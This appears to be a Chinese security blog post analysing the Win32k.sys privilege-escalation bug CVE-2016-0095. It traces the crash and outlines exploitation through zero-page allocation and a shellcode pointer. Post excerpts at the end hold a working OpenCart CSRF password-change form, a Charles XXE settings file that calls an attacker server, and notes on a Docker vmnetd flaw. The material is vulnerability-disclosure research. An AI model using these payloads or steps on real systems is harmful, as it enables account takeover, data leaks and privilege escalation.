CVE-2016-0095 Win32k.sys特权提升漏洞

0x00 漏洞分析
     1.运行poc，windbg捕捉到崩溃异常，栈回溯，可以看出是bGetRealizedBrush函数里触发了异常
    

   2.分析下bGetRealizedBrush函数崩溃处的代码

     2.1 ida分析下可以看出eax引用的是pEBRUSHOBJ结构体偏移0x34处的结构再偏移1c的数据从而访问无效地址
    


     2.2对bGetRealizedBrush下硬件执行断点,ebx = 96bd9af8 ,eax = fe8d8658, eax+1c = 0
     

     

3.poc中的FillRgn函数调用内核NtGdiFillRgn函数,分析NtGdiFillRgn
     
    3.1初始化poc中hRgn对象的数据
    

    3.2 初始化poc中hBrush结构（pEBRUSHOBJ）
   

   3.3 获取poc中COLORREF的值
  

  3.4 到达EngPaint函数,可以知道大概传进的数据类型
  

  3.5 _SURFOBJ 结构（fe174250）,而导致蓝屏的pEBRUSHOBJ结构（8a16eaf8）偏移0x34是fe174240,fe174240偏移0x1c是0; 也就是说   pEBRUSHOBJ结构 偏移0x34中的值（fe174240）再偏移0x10就是_SURFOBJ 结构;那么_SURFOBJ 结构偏移0xc访问的是hdev字段 == （pEBRUSHOBJ结构（8a16eaf8）偏移0x34（fe174240）,fe174240偏移0x1c）

  typedef struct _SURFOBJ {
   DHSURF dhsurf;
   HSURF  hsurf;
   DHPDEV dhpdev;
   HDEV   hdev;
   SIZEL  sizlBitmap;
   ULONG  cjBits;
   PVOID  pvBits;
   PVOID  pvScan0;
   LONG   lDelta;
   ULONG  iUniq;
   ULONG  iBitmapFormat;
   USHORT iType;
   USHORT fjBitmap;
} SURFOBJ;

   


  由于Poc中未对hdev进行初始化就直接引用，从而导致漏洞产生


0x01 漏洞利用
      
     1.利用点
     


   2.从漏洞触发到漏洞利用有几处if判断
     
      第一处
       

   第二处
   

  第三处
  


  
  3.利用思路：通过NTAllocateVirtualMemory在零页申请内存,在几处判断处赋上对应值,使流程往call edi处执行，其中偏移 0x748赋上shellcode地址
   


  



         





评论

发表评论

此博客中的热门博文

Opencart-v3-0-3-0 user changes password at csrf vulnerability

图片
Software Link: https://github.com/opencart/opencart/ Date: 06.28.2018 Exploit Author:CK01 Version:<= V3-0-3-0 0x00 Vulnerability analysis       The user token was not verified at the password change, causing the csrf vulnerability to modify the user password  /upload/catalog/controller/account/password.php 0x01 Exploit Save the following exp as html and open the run <html>   <body>     <form id="post123" name="post123" action="http://192.168.0.46/opencart/index.php?route=account/password&language=en-gb" method="POST" enctype="multipart/form-data">   <input type="hidden" name="password" value="CK01ck01" />       <input type="hidden" name="confirm" value="CK01ck01" /> <script>         document.getElementById('post123').submit();  </script>     </form>   </body> </html>...
阅读全文

Docker's latest version of privilege escalation vulnerability

图片
0x00 Vulnerability analysis 1.com.docker.vmnetd is a launch service that runs at root authority; communicates with the client (Docker) through a local socket; after analysis, it is found that the client is not verified during the communication process, resulting in the risk of elevated permissions 2. The two main functions in main_handle are vmnet_handshake_Perform and vmnetd_commands_Handle; vmnet_handshake_Perform function mainly initializes the message and obtains the corresponding client command. vmnetd_commands_Handle function calls the corresponding callback function according to the obtained command 2.1 vmnet_handshake_Perform 2.1.1 First obtain the initialization message (3 packets) requested by the client through vmnet_handshake_readInitMessage. The message structure is as follows packet-1: flag c00009a318  56 4d 4e 33 54 00 00 00 00 00 00 00 00 00 00 00  VMN3T........... c00009a328  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...
阅读全文

Charles 4.2.7 XML External Entity

图片
Software Link: https://www.charlesproxy.com Date:11.12.2018 Exploit Author:CK01 Version:<=4.2.7 Security Issue: The XML External Entity vulnerability exists in the Charles import/export setup option. If the user imports the "Charles Settings.xml" of the attacker, the internal network may be detected and the information may be leaked. POC: 1.Charles Setting.xml:(127.0.0.1 -> attacker's server ) <?xml version='1.0' encoding='UTF-8' ?> <?charles serialisation-version='2.0' ?> <!DOCTYPE data [ <!ENTITY file SYSTEM "jar:http://127.0.0.1:2014/!/">]> <charles-export> <proxyConfiguration> <enableSOCKSProxy>false</enableSOCKSProxy> <dynamicHTTPPort>false</dynamicHTTPPort> <dynamicSOCKSPort>false</dynamicSOCKSPort> <enableSOCKSTransparentHTTPProxying>true</enableSOCKSTransparentHTTPProxying> <port>8888</port...
阅读全文